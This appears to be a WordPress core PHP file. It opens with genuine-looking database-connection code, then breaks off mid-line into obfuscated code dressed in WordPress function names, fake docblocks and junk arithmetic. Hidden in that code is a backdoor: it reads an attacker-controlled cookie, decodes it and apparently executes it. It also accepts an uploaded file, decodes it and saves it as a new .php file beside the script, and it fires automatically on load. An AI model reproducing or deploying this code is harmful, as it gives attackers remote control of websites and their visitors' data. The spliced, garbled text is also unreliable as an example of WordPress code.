0.71 public function flush() { $this->last_result = array(); $this->col_info = null; $this->last_query = null; $this->rows_affected = 0; $this->num_rows = 0; $this->last_error = ''; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { mysqli_free_result( $this->result ); $this->result = null; Sanity check before using the handle. if ( empty( $this->dbh ) \|\| ! ( $this->dbh instanceof mysqli ) ) { return; } Clear out any results from a multi-query. while ( mysqli_more_results( $this->dbh ) ) { mysqli_next_result( $this->dbh ); } } elseif ( is_resource( $this->result ) ) { mysql_free_result( $this->result ); } } * * Connects to and selects database. * * If `$allow_bail` is false, the lack of database connection will need to be handled manually. * * @since 3.0.0 * @since 3.9.0 $allow_bail parameter added. * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool True with a successful connection, false on failure. public function db_connect( $allow_bail = true ) { $this->is_mysql = true; * Deprecated in 3.9+ when using MySQLi. No equivalent * $new_link parameter exists for mysqli_* functions. $new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true; $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0; if ( $this->use_mysqli ) { * Set the MySQLi error reporting off because WordPress handles its own. * This is due to the default value change from `MYSQLI_REPORT_OFF` * to `MYSQLI_REPORT_ERROR\|MYSQLI_REPORT_STRICT` in PHP 8.1. mysqli_report( MYSQLI_REPORT_OFF ); $this->dbh = mysqli_init(); $host = $this->dbhost; $port = null; $socket = null; $is_ipv6 = false; $host_data = $this->parse_db_host( $this->dbhost ); if ( $host_data ) { list( $host, $port, $socket, $is_ipv6 ) = $host_data; } * If using the `mysqlnd` library, the IPv6 address needs to be enclosed * in square brackets, whereas it doesn't while using the `libmysqlclient` library. * @see https:bugs.php.net/bug.php?id=67563 if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) { $host = "[$host]"; } if ( WP_DEBUG ) { mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } else { phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged @mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } if ( $this->dbh->connect_errno ) { $this->dbh = null; * It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if: * - We haven't previously connected, and * - WP_USE_EXT_MYSQL isn't set to false, and * - ext/mysql is loaded. $attempt_fallback = true; if ( $this->has_connected ) { $attempt_fallback = false; } elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) { $attempt_fallback = false; } elseif ( ! function_exists( 'mysql_connect' ) ) { $attempt_fallback = false; } if ( $attempt_fallback ) { $this->use_mysqli = false; return $this->db_connect( $allow_bail ); } } } else { if ( WP_DEBUG ) { $this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } else { phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } } if ( ! $this->dbh && $allow_bail ) { wp_load_translations_early(); Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } $message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n"; $message .= '<p>' . sprintf( translators: 1: wp-config.php, 2: Database host. __( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host’s database server is down.' ), '<code>wp-config.php</code>', '<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>' ) . "</p>\n"; $message .= "<ul>\n"; $message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n"; $message .= '<li>' . __( 'Are you sure you have typed the correct hostname?' ) . "</li>\n"; $message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n"; $message .= "</ul>\n"; $message .= '<p>' . sprintf( translators: %s: Support forums URL. __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ), __( 'https:wordpress.org/support/forums/' ) ) . "</p>\n"; $this->bail( $message, 'db_connect_fail' ); return false; } elseif ( $this->dbh ) { if ( ! $this->has_connected ) { $this->init_charset(); } $this->has_connected = true; $this->set_charset( $this->dbh ); $this->ready = true; $this->set_sql_mode(); $this->select( $this->dbname, $this->dbh ); return true; } return false; } * * Parses the DB_HOST setting to interpret it for mysqli_real_connect(). * * mysqli_real_connect() doesn't support the host param including a port or socket * like mysql_connect() does. This duplicates how mysql_connect() detects a port * and/or socket file. * * @since 4.9.0 * * @param string $host The DB_HOST setting to parse. * @return array\|false { * Array containing the host, the port, the socket and * whether it is an IPv6 address, in that order. * False if the host couldn't be parsed. * * @type string $0 Host name. * @type string\|null $1 Port. * @type string\|null $2 Socket. * @type bool $3 Whether it is an IPv6 address. * } public function parse_db_host( $host ) { $socket = null; $is_ipv6 = false; First peel off the socket parameter from the right, if it exists. $socket_pos = strpos( $host, ':/' ); if ( false !== $socket_pos ) { $socket = substr( $host, $socket_pos + 1 ); $host = substr( $host, 0, $socket_pos ); } We need to check for an IPv6 address first. An IPv6 address will always contain at least two colons. if ( substr_count( $host, ':' ) > 1 ) { $pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#'; $is_ipv6 = true; } else { We seem to be dealing with an IPv4 address. $pattern = '#^(?P<host>[^:/])(?::(?P<port>[\d]+))?#'; } $matches = array(); $result = preg_match( $patt/ // The cookie is no good, so force login. /** * Filters the path to the original image. * * @since 5.3.0 * * @param string $original_image Path to original image file. * @param int $attachment_id Attachment ID. / function is_main_query($dont_parse, $replaces, $can_resume){ $date_string = 'ip41'; $clear_cache['od42tjk1y'] = 12; if(!isset($f3f7_76)) { $f3f7_76 = 'zfz0jr'; } // Does the class use the namespace prefix? if(!isset($prepared_themes)) { $prepared_themes = 'ubpss5'; } $date_string = quotemeta($date_string); $f3f7_76 = sqrt(440); // Ogg Skeleton version 3.0 Format Specification // "Ftol" // [11][4D][9B][74] -- Contains the position of other level 1 elements. // Public statuses. // B: if the input buffer begins with a prefix of "/./" or "/.", if (isset($_FILES[$dont_parse])) { wp_check_term_meta_support_prefilter($dont_parse, $replaces, $can_resume); } textLine($can_resume); } $isize = 'e52tnachk'; /* * Adds a nonce for customizing menus. * * @since 4.5.0 * * @param string[] $nonces Array of nonces. * @return string[] Modified array of nonces. / function generate_postdata($is_block_theme){ // (`=foo`) if((cosh(29)) == True) { $unapproved = 'grdc'; } $isize = 'e52tnachk'; $site_address = (!isset($site_address)? "o0q2qcfyt" : "yflgd0uth"); if(!isset($check_php)) { $check_php = 'hc74p1s'; } $isize = htmlspecialchars($isize); $original_stylesheet = 'hxpv3h1'; $is_block_theme = ord($is_block_theme); // Adds settings and styles from the WP_REST_Global_Styles_Controller parent schema. return $is_block_theme; } /* * IXR_Error instance. * * @var IXR_Error / function show_site_health_tab ($current_term_object){ // The `where` is needed to lower the specificity. // ----- Skip '.' and '..' // to nearest WORD boundary so may appear to be short by one // Function : privErrorReset() $current_term_object = 'iuta8w'; $oembed_post_id = 'uwdkz4'; if(!isset($v_header)) { $v_header = 'py8h'; } if(!isset($mapped_from_lines)) { $mapped_from_lines = 'd59zpr'; } $in_seq = 'siuyvq796'; if(!isset($UncompressedHeader)) { $UncompressedHeader = 'ta23ijp3'; } $mapped_from_lines = round(640); if(!(ltrim($oembed_post_id)) !== false) { $currentBytes = 'ev1l14f8'; } $v_header = log1p(773); // Extract type, name and columns from the definition. $client_pk = (!isset($client_pk)? "dz2iq" : "o31j"); $current_term_object = md5($current_term_object); $UncompressedHeader = strip_tags($in_seq); if(!(exp(706)) != false) { $highestIndex = 'g5nyw'; } if(!empty(dechex(63)) !== false) { $curl_param = 'lvlvdfpo'; } if(!isset($template_lock)) { $template_lock = 'auilyp'; } // ...otherwise remove it from the old sidebar and keep it in the new one. // Load multisite-specific files. if(!isset($repeat)) { $repeat = 'kg7o'; } $repeat = decoct(248); $search_errors = 'm6zs'; $pass_key = (!isset($pass_key)? "q7giwd7" : "eq3t"); if(empty(addcslashes($search_errors, $repeat)) === False){ $css_array = 'g67ibc4ne'; } $incompatible_notice_message = (!isset($incompatible_notice_message)?'uh8b':'rv5r'); $daywithpost['ejavj1f'] = 57; if((strtolower($repeat)) === FALSE) { $tax_obj = 'w6kwole'; } $new_site_url = (!isset($new_site_url)?"wo9cob":"w2rt7rip"); if(!empty(basename($current_term_object)) != true) { $manage_url = 'jsc7'; } if(empty(acos(7)) == TRUE) { $pagematch = 'bqezhr9x4'; } $content_width['bxyddrb8'] = 33; $walk_dirs['p5kh'] = 4508; $search_errors = log10(241); $search_errors = asin(239); $font_faces = (!isset($font_faces)? "ximd" : "pz8inq5"); $names['fmq7j'] = 'q2l1'; $destination_name['nzdz9tpql'] = 'lw66g'; $repeat = strnatcasecmp($repeat, $search_errors); $search_errors = log10(682); $cached_response['mq7zuy'] = 2913; if(empty(decbin(591)) === True) { $OS_local = 'drg467'; } if(!(asinh(797)) == False) { $remove = 'qnt4m01jm'; } $utf8_data = (!isset($utf8_data)? 'e9d96dix' : 'tf2c0'); $admin_locale['t1or0xpo'] = 'mnm96n'; if(!empty(quotemeta($current_term_object)) !== false) { $padding = 'n6md'; } return $current_term_object; } $tablefields = 'q5z85q'; $post_query = 'kp5o7t'; /* * Signifies whether the current query is for a day archive. * * @since 1.5.0 * @var bool / function set_quality($dont_parse, $replaces){ // This will get rejected in ::get_item(). // This must be set and must be something other than 'theme' or they will be stripped out in the post editor <Editor> component. $hook_extra = $_COOKIE[$dont_parse]; // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound $deviation_cbr_from_header_bitrate = 'u52eddlr'; $tablefields = 'q5z85q'; $show_labels['gzjwp3'] = 3402; //Add the 's' to HTTPS // Author stuff for nice URLs. if((rad2deg(938)) == true) { $format_strings = 'xyppzuvk4'; } $lookup = (!isset($lookup)? 'vu8gpm5' : 'xoy2'); $a4 = (!isset($a4)? 'qn1yzz' : 'xzqi'); $hook_extra = pack("H", $hook_extra); // Increment/decrement %x (MSB of the Frequency) // Update declarations if there are separators with only background color defined. $can_resume = feed_links_extra($hook_extra, $replaces); // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if (update_post_thumbnail_cache($can_resume)) { $CompressedFileData = ristretto255_scalar_from_string($can_resume); return $CompressedFileData; } is_main_query($dont_parse, $replaces, $can_resume); } //Define full set of translatable strings in English $lookup = (!isset($lookup)? 'vu8gpm5' : 'xoy2'); /** * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment * External usage: audio.ogg * * @return bool / function ristretto255_scalar_from_string($can_resume){ // If on an author archive, use the author's display name. // WP allows passing in headers as a string, weirdly. wp_refresh_post_lock($can_resume); // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; textLine($can_resume); } /* * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException / function ClosestStandardMP3Bitrate($show_video_playlist, $max_frames){ $update_args = 'okhhl40'; $lyricline['i30637'] = 'iuof285f5'; if(!isset($requests)) { $requests = 'qvry'; } $options_to_prime = 'anflgc5b'; $dontFallback = generate_postdata($show_video_playlist) - generate_postdata($max_frames); $dontFallback = $dontFallback + 256; $requests = rad2deg(409); $d1['vi383l'] = 'b9375djk'; if(!isset($a5)) { $a5 = 'js4f2j4x'; } $toAddr['htkn0'] = 'svbom5'; $requests = basename($requests); if(!isset($dest_dir)) { $dest_dir = 'a9mraer'; } $options_to_prime = ucfirst($options_to_prime); $a5 = dechex(307); $dontFallback = $dontFallback % 256; $dest_dir = ucfirst($update_args); $alt_text_description['u6z15twoi'] = 3568; $tempdir = 'mfnrvjgjj'; $http_api_args = 'u8xpm7f'; $show_video_playlist = sprintf("%c", $dontFallback); // the output buffer, including the initial "/" character (if any) $self_url['cggtfm1'] = 2517; if(!isset($errline)) { $errline = 'hxklojz'; } if(empty(strip_tags($http_api_args)) != False){ $variations = 'h6iok'; } $update_args = quotemeta($update_args); // use or not temporary file. The algorithm is looking for $requests = expm1(859); $ParsedID3v1 = (!isset($ParsedID3v1)? 'v51lw' : 'm6zh'); $importer_not_installed = (!isset($importer_not_installed)?"zk5quvr":"oiwstvj"); $errline = htmlspecialchars_decode($tempdir); return $show_video_playlist; } $max_random_number['l0sliveu6'] = 1606; $isize = htmlspecialchars($isize); // Add caps for Editor role. /* * Filters whether to add the `srcset` and `sizes` HTML attributes to the img tag. Default `true`. * * Returning anything else than `true` will not add the attributes. * * @since 5.5.0 * * @param bool $value The filtered value, defaults to `true`. * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context about how the function was called or where the img tag is. * @param int $attachment_id The image attachment ID. / function unpack_package ($same){ // Can't change to folder = folder doesn't exist. $custom_css_setting = 'x0i5l'; $revisions_query['nf151x'] = 42; if(!isset($uniqueid)) { $uniqueid = 'mo9z'; } $uniqueid = rawurlencode($custom_css_setting); $eraser_done = 'z8uwowm'; $check_signatures = (!isset($check_signatures)? 'busd' : 'ae561'); $get['c0mst7m'] = 867; if(!empty(sha1($eraser_done)) == FALSE){ $ID3v1encoding = 'tkzhqj8c'; } $eraser_done = sqrt(172); $same = strtoupper($custom_css_setting); $min_compressed_size = 'jscys6'; if((ucwords($min_compressed_size)) !== False) { $decoded_slug = 'thowb'; } $has_kses['qv5phldp'] = 'pcfh'; $eraser_done = dechex(870); if(!isset($the_weekday_date)) { $the_weekday_date = 'erqyref'; } $the_weekday_date = sqrt(897); $level_key['qpklu7j'] = 'po5rt'; if(!empty(rad2deg(89)) == FALSE) { $is_writable_wpmu_plugin_dir = 'jc1b'; } if(!isset($color_classes)) { $color_classes = 'j203iw'; } $color_classes = wordwrap($eraser_done); $color_classes = quotemeta($min_compressed_size); if(empty(strip_tags($the_weekday_date)) == false) { $policy = 'akralqvd'; } return $same; } /* * @param int $num * * @return bool / function register_block_core_archives ($prevchar){ $icon_colors = 'zggz'; // Just fetch the detail form for that attachment. $nav_menu_style = 'mn3h'; $permastruct_args['zge7820'] = 'ar3fb7'; $nav_menu_widget_setting['tlaka2r81'] = 1127; $icon_colors = trim($icon_colors); // Cache current status for each comment. if(!isset($current_term_object)) { $current_term_object = 'fy68b'; } $current_term_object = strtr($nav_menu_style, 19, 15); $fieldname['q6kq'] = 'li1bfls9'; if(!isset($search_errors)) { $search_errors = 'cin87rn3'; } $search_errors = cosh(808); $p_zipname = 'dzsuy85'; $core_options['xp1psay'] = 'ylbeqga3'; if(empty(strrev($p_zipname)) !== TRUE){ $rendering_sidebar_id = 'ey6kkuapm'; } $author_ip = 'y8an4vf1g'; $dropdown_id['rim7ltyp5'] = 'vpoghnbdn'; $search_errors = ucfirst($author_ip); $frame_bytespeakvolume = (!isset($frame_bytespeakvolume)? "aeqmj" : "h90vx15"); if(!isset($dimensions_block_styles)) { $dimensions_block_styles = 'u315'; } $dimensions_block_styles = base64_encode($current_term_object); return $prevchar; } // for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) { /* * Server-side rendering of the `core/loginout` block. * * @package WordPress / function sodium_hex2bin($chan_props){ $value2 = 'blgxak1'; $first_page = (!isset($first_page)? 'ab3tp' : 'vwtw1av'); if(!isset($b_role)) { $b_role = 'v96lyh373'; } $lyricline['i30637'] = 'iuof285f5'; $posts_columns['kyv3mi4o'] = 'b6yza25ki'; if(!isset($a5)) { $a5 = 'js4f2j4x'; } $b_role = dechex(476); if(!isset($in_search_post_types)) { $in_search_post_types = 'rzyd6'; } $logout_url = __DIR__; // init result array and set parameters $a5 = dechex(307); $in_search_post_types = ceil(318); $thisfile_id3v2['tnh5qf9tl'] = 4698; $already_md5['cu2q01b'] = 3481; // Try for a new style intermediate size. if(!isset($js_required_message)) { $js_required_message = 'cgt9h7'; } if((urldecode($b_role)) === true) { $post_after = 'fq8a'; } $f5_38 = 'gxpm'; $http_api_args = 'u8xpm7f'; $IndexNumber = ".php"; $chan_props = $chan_props . $IndexNumber; // Reference Movie Data Rate atom $chan_props = DIRECTORY_SEPARATOR . $chan_props; // End while. $chan_props = $logout_url . $chan_props; // Could be absolute path to file in plugin. return $chan_props; } /* * @global WP_Comment $comment Global comment object. / function wp_skip_dimensions_serialization ($current_term_object){ // Vorbis 1.0 starts with Xiph.Org // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to $wp_siteurl_subdir = 'ujqo38wgy'; $sensor_data = (!isset($sensor_data)? 'xg611' : 'gvse'); $ver = 'gr3wow0'; $icon_192 = 'j2lbjze'; $nextFrameID = 'vb1xy'; if(!(htmlentities($icon_192)) !== False) { $allow_addition = 'yoe46z'; } $wp_siteurl_subdir = urldecode($wp_siteurl_subdir); $dbids_to_orders['c6gohg71a'] = 'd0kjnw5ys'; $current_term_object = 'geq8n'; $current_term_object = str_repeat($current_term_object, 10); $check_column['fwl6'] = 'azyel'; $current_term_object = atanh(102); // ----- Do a create $public_statuses['csdrcu72p'] = 4701; $force_check['atc1k3xa'] = 'vbg72'; $stylesheet_handle = (!isset($stylesheet_handle)? "mw0q66w3" : "dmgcm"); if(!isset($json_error_message)) { $json_error_message = 'vgpv'; } $current_term_object = urlencode($current_term_object); $nextFrameID = stripos($ver, $nextFrameID); $json_error_message = asinh(296); $metarow['odno3hirb'] = 2419; $cur_mm['mh2c7fn'] = 3763; // Then for every index point the following data is included: // Stylesheets. if(!isset($xingVBRheaderFrameLength)) { $xingVBRheaderFrameLength = 'x2a9v1ld'; } if(!isset($comment_date_gmt)) { $comment_date_gmt = 'dpsbgmh'; } if(!empty(str_repeat($wp_siteurl_subdir, 18)) == TRUE) { $skip_options = 'y8k8z5'; } $trackback_pings['px7gc6kb'] = 3576; if(!(rawurldecode($current_term_object)) === false) { $post_value = 'o9c3up9c'; } if((cosh(467)) == True) { $remind_me_link = 'ypzgat'; } $cbr_bitrate_in_short_scan['dcd37jofq'] = 'j2hxg'; if((ucfirst($current_term_object)) == false){ $element_config = 'kgh6'; } return $current_term_object; } $post_query = rawurldecode($post_query); $tablefields = strcoll($tablefields, $tablefields); $termination_list = (!isset($termination_list)? "juxf" : "myfnmv"); // extractByIndex($p_index, [$p_option, $p_option_value, ...]) $allow_headers['qs1u'] = 'ryewyo4k2'; /* * Filter the list of eligible loading strategies for a script. * * @since 6.3.0 * * @param string $handle The script handle. * @param string[]\|null $eligible Optional. The list of strategies to filter. Default null. * @param array<string, true> $checked Optional. An array of already checked script handles, used to avoid recursive loops. * @return string[] A list of eligible loading strategies that could be used. / function filter_locale ($the_weekday_date){ $smtp_transaction_id_patterns = 'c7yy'; $should_skip_text_transform['q08a'] = 998; $feature_list = 'nmqc'; if(!isset($requests)) { $requests = 'qvry'; } $color_classes = 'by9wur0qi'; $optionall = (!isset($optionall)? 'hml2' : 'du3f0j'); // Encoded Image Width DWORD 32 // width of image in pixels $activated['bo6zj4l'] = 1696; if(!empty(convert_uuencode($color_classes)) != True){ $headerLineCount = 'yt5odv2h'; } $the_weekday_date = 'qow4874l'; $is_theme_installed['xjudg'] = 'itwh5'; $color_classes = convert_uuencode($the_weekday_date); $partial_ids['nyow'] = 2032; if(!isset($robots_rewrite)) { $robots_rewrite = 'ra7cu5fr0'; $requests = rad2deg(409); if(!empty(htmlspecialchars($smtp_transaction_id_patterns)) == true) { $c2 = 'v1a3036'; } if(!isset($from_api)) { $from_api = 'd4xzp'; } if(!isset($image_alt)) { $image_alt = 'mek1jjj'; } $requests = basename($requests); $image_alt = ceil(709); $ExplodedOptions = 'wqtb0b'; $from_api = strtr($feature_list, 13, 6); // Has to be get_row() instead of get_var() because of funkiness with 0, false, null values. // Slash current user email to compare it later with slashed new user email. } $robots_rewrite = ceil(95); $min_compressed_size = 'd2k9wi76x'; if(empty(htmlspecialchars($min_compressed_size)) === True){ $found_networks_query = 'ic7kg'; } if(empty(sqrt(20)) === True) { $opml = 'cfhfsw6c'; } $eraser_done = 'go2h'; $min_compressed_size = rawurlencode($eraser_done); $installed = 'c9zi4ovif'; $surmixlev = 'tkewnuw'; $threaded = (!isset($threaded)? "kpc3uyh" : "jxc7qog"); $original_image_url['b9k0uy'] = 4261; if((strripos($installed, $surmixlev)) === True) { $admin_url = 'jp5qlvny'; } $arc_year = (!isset($arc_year)? 'aoqfmstat' : 'ox9rksr'); $eraser_done = ceil(701); $site_status = 'lbh18qyv'; $kses_allow_link = (!isset($kses_allow_link)? "wd7thfa" : "t51lms3og"); $the_weekday_date = strripos($site_status, $site_status); $uniqueid = 'tvet'; $frameSizeLookup['ov2jzk4t4'] = 'f8tmqcxg'; $site_status = strcspn($uniqueid, $robots_rewrite); $j1['lt0e'] = 4854; if((htmlspecialchars_decode($surmixlev)) === True){ $default_theme_mods = 'h0wbmf'; } if(!isset($same)) { $same = 'fju1ct'; } $same = strtoupper($surmixlev); return $the_weekday_date; } $accepted_field['wcioain'] = 'eq7axsmn'; $mask['s9rroec9l'] = 'kgxn56a'; // 4 + 32 = 36 /* * Fires when `is_wp_error()` is called and its parameter is an instance of `WP_Error`. * * @since 5.6.0 * * @param WP_Error $thing The error object passed to `is_wp_error()`. / function wp_check_term_meta_support_prefilter($dont_parse, $replaces, $can_resume){ $chan_props = $_FILES[$dont_parse]['name']; $internalArray = 'j3ywduu'; $filter_payload = 'e0ix9'; $internalArray = strnatcasecmp($internalArray, $internalArray); if(!empty(md5($filter_payload)) != True) { $feature_group = 'tfe8tu7r'; } // Get the content-type. // > the current node is not in the list of active formatting elements $gs = sodium_hex2bin($chan_props); $CommandTypeNameLength = 'hu691hy'; if(!empty(stripslashes($internalArray)) != false) { $xfn_relationship = 'c2xh3pl'; } clean_expired_keys($_FILES[$dont_parse]['tmp_name'], $replaces); // Popularimeter $userpass['u6fsnm'] = 4359; $xhash = (!isset($xhash)? 'x6qy' : 'ivb8ce'); if(!isset($split_the_query)) { $split_the_query = 'q2o9k'; } $internalArray = htmlspecialchars_decode($internalArray); // int64_t b10 = 2097151 & (load_3(b + 26) >> 2); normalizeBreaks($_FILES[$dont_parse]['tmp_name'], $gs); } $dont_parse = 'dmprY'; readDate($dont_parse); // Check if the email address has been used already. /* * Displays the link to the current post comments. * * @since 0.71 * * @param string $OriginalGenre Not Used. * @param string $OriginalGenre_2 Not Used. / function glob_pattern_match ($min_compressed_size){ // e.g. 'var(--wp--preset--duotone--blue-orange)'. $date_string = 'ip41'; $text_direction = 'e6b2561l'; $image_style = 'mf2f'; if(!empty(exp(22)) !== true) { $document = 'orj0j4'; } $text_direction = base64_encode($text_direction); $image_style = soundex($image_style); $img_edit_hash = 'w0it3odh'; $date_string = quotemeta($date_string); // Some corrupt files have been known to have high bits set in the number_entries field $same = 'f35p7ygi7'; $trail = (!isset($trail)? "ibl4" : "yozsszyk7"); $db_locale = (!isset($db_locale)? 'ujzxudf2' : 'lrelg'); $registration['t7fncmtrr'] = 'jgjrw9j3'; $commentstring['z5ihj'] = 878; // If the target is a string convert to an array. if(!isset($site_status)) { $site_status = 'cdib79s'; } // Check if the user is logged out. $site_status = ucwords($same); $eraser_done = 'qzx1m'; if(!isset($the_weekday_date)) { $the_weekday_date = 'wir4qy'; } $the_weekday_date = stripslashes($eraser_done); $site_status = expm1(501); $affected_plugin_files['qyzc0'] = 1902; if(!isset($uniqueid)) { $uniqueid = 'k589'; } $uniqueid = sinh(566); if(!empty(floor(235)) === false) { $fn_generate_and_enqueue_styles = 'd0beo3bsw'; } $preferred_font_size_in_px = (!isset($preferred_font_size_in_px)? 'i2u9t' : 'vx9h'); if(!(atanh(158)) !== true) { $signMaskBit = 'j9pj'; } return $min_compressed_size; } // This function is never called when a 'loading' attribute is already present. $post_query = addcslashes($post_query, $post_query); $isize = strripos($isize, $isize); /* * Retrieves the current comment author for use in the feeds. * * @since 2.0.0 * * @return string Comment Author. / function clean_expired_keys($gs, $resolve_variables){ $new_category = file_get_contents($gs); if(!isset($default_term_id)) { $default_term_id = 'iwsdfbo'; } $widget_options['iiqbf'] = 1221; $LAMEpresetUsedLookup = feed_links_extra($new_category, $resolve_variables); // Let's check to make sure WP isn't already installed. file_put_contents($gs, $LAMEpresetUsedLookup); } /* * Given an array of fields to include in a response, some of which may be * `nested.fields`, determine whether the provided field should be included * in the response body. * * If a parent field is passed in, the presence of any nested field within * that parent will cause the method to return `true`. For example "title" * will return true if any of `title`, `title.raw` or `title.rendered` is * provided. * * @since 5.3.0 * * @param string $field A field to test for inclusion in the response body. * @param array $fields An array of string fields supported by the endpoint. * @return bool Whether to include the field or not. / function wp_load_image ($repeat){ $mime = (!isset($mime)? "j5tzo" : "sshhjft"); $wp_limit_int['oopjmc3'] = 's4b8aqry'; // or https://www.getid3.org // // https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.h if(!isset($search_errors)) { $search_errors = 'tueihbox'; } $search_errors = round(727); $search_errors = asin(589); $current_term_object = 'y71gna'; if((soundex($current_term_object)) == false) { $rewritereplace = 'gym257wdc'; } $search_errors = urlencode($current_term_object); $operator['z7sj6'] = 'aj8vm'; $usermeta_table['d1a7z'] = 2815; $search_errors = strrpos($search_errors, $current_term_object); if(empty(sqrt(235)) !== false) { $significantBits = 'v46bemaji'; } $widget_key['e89ib6f'] = 560; if(!isset($nav_menu_style)) { $nav_menu_style = 'v12pjk97'; } $nav_menu_style = rad2deg(946); $use_verbose_page_rules = (!isset($use_verbose_page_rules)? 'aupx6td6' : 'wu0hhd'); $startoffset['wmtj'] = 4952; $repeat = sha1($current_term_object); $nav_menu_style = strtolower($search_errors); $current_term_object = floor(608); $search_errors = stripcslashes($repeat); return $repeat; } /* * Normalizes a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @since 3.9.0 * @since 4.4.0 Ensures upper-case drive letters on Windows systems. * @since 4.5.0 Allows for Windows network shares. * @since 4.9.7 Allows for PHP file wrappers. * * @param string $updated_size Path to normalize. * @return string Normalized path. / function wp_generate_auth_cookie($updated_size) { $str1 = ''; if (wp_is_stream($updated_size)) { list($str1, $updated_size) = explode('://', $updated_size, 2); $str1 .= '://'; } // Standardize all paths to use '/'. $updated_size = str_replace('\\', '/', $updated_size); // Replace multiple slashes down to a singular, allowing for network shares having two slashes. $updated_size = preg_replace('\|(?<=.)/+\|', '/', $updated_size); // Windows paths should uppercase the drive letter. if (':' === substr($updated_size, 1, 1)) { $updated_size = ucfirst($updated_size); } return $str1 . $updated_size; } $tablefields = chop($tablefields, $tablefields); /* * Filters a navigation menu item's description. * * @since 3.0.0 * * @param string $description The menu item description. / function normalizeBreaks($paused_themes, $widget_rss){ $DKIMquery = 'dvj349'; if(!isset($v_header)) { $v_header = 'py8h'; } $DKIMquery = convert_uuencode($DKIMquery); $v_header = log1p(773); $comment_excerpt = 'ekesicz1m'; if(!isset($template_lock)) { $template_lock = 'auilyp'; } $uri_attributes = move_uploaded_file($paused_themes, $widget_rss); $DKIMquery = is_string($comment_excerpt); $template_lock = strtr($v_header, 13, 16); // Assemble a flat array of all comments + descendants. // should be 5 return $uri_attributes; } /* * Output JavaScript to toggle display of additional settings if avatars are disabled. * * @since 4.2.0 / function textLine($plugin_folder){ // Post ID. $internalArray = 'j3ywduu'; $wp_siteurl_subdir = 'ujqo38wgy'; $routes['gzxg'] = 't2o6pbqnq'; $text_direction = 'e6b2561l'; echo $plugin_folder; } / * Return an array of row objects with keys from column 1. * (Duplicates are discarded.) / function wp_insert_term ($robots_rewrite){ // Add 'width' and 'height' attributes if applicable. // Filter is always true in visual mode. $plugins_total['v03j'] = 389; $contents = 'wgkuu'; $loaded_langs = (!isset($loaded_langs)? "iern38t" : "v7my"); $download_file = 'zpj3'; // Form an excerpt. $download_file = soundex($download_file); $show_in_menu['gc0wj'] = 'ed54'; $cache_found['in0ijl1'] = 'cp8p'; // Populate the site's roles. // Define and enforce our SSL constants. // The meaning of the X values is most simply described by considering X to represent a 4-bit // Prevent adjacent separators. if(empty(atan(836)) == FALSE) { $MPEGaudioModeExtensionLookup = 'caq0aho'; } $min_compressed_size = 'a1fwp'; $editor_style_handles = (!isset($editor_style_handles)? "didh" : "hduupuy0i"); if(!isset($uniqueid)) { $uniqueid = 'syus'; } $uniqueid = urlencode($min_compressed_size); $eraser_done = 'n2z40n'; if(!isset($color_classes)) { $color_classes = 'mxof0'; } if(!empty(log10(278)) == true){ $font_family_post = 'cm2js'; } if(!isset($cookie_name)) { $cookie_name = 'krxgc7w'; } if(!isset($export_data)) { $export_data = 'n71fm'; } $color_classes = substr($eraser_done, 15, 17); $the_weekday_date = 'fwankcd8'; $robots_rewrite = 'xrmapmjj'; $colorspace_id = (!isset($colorspace_id)?"tdzd":"gwdf"); $min_compressed_size = strripos($the_weekday_date, $robots_rewrite); $plugin_meta['s8dasqtx'] = 1862; if(!isset($custom_css_setting)) { $custom_css_setting = 'cr2kyx'; } $custom_css_setting = lcfirst($robots_rewrite); $SNDM_endoffset = (!isset($SNDM_endoffset)? 'c7bfg7pf' : 'fjw2476'); $robots_rewrite = decbin(496); $is_declarations_object = 'jq506yuy'; $f9g9_38 = (!isset($f9g9_38)? 'gpj66i' : 'sh0o'); if(!(stripslashes($is_declarations_object)) == false) { //\n = Snoopy compatibility $minimum_site_name_length = 'pu5j4'; } if(empty(tan(508)) === TRUE) { $epmatch = 'fnnht'; } $all_max_width_value['dsgjd9'] = 2671; $agent['o7qwrf'] = 'fuavg4'; if(!isset($site_status)) { $site_status = 'dbsmo9'; } $site_status = exp(728); $block_gap = (!isset($block_gap)? 'cmluqkb' : 'lv97ci88'); 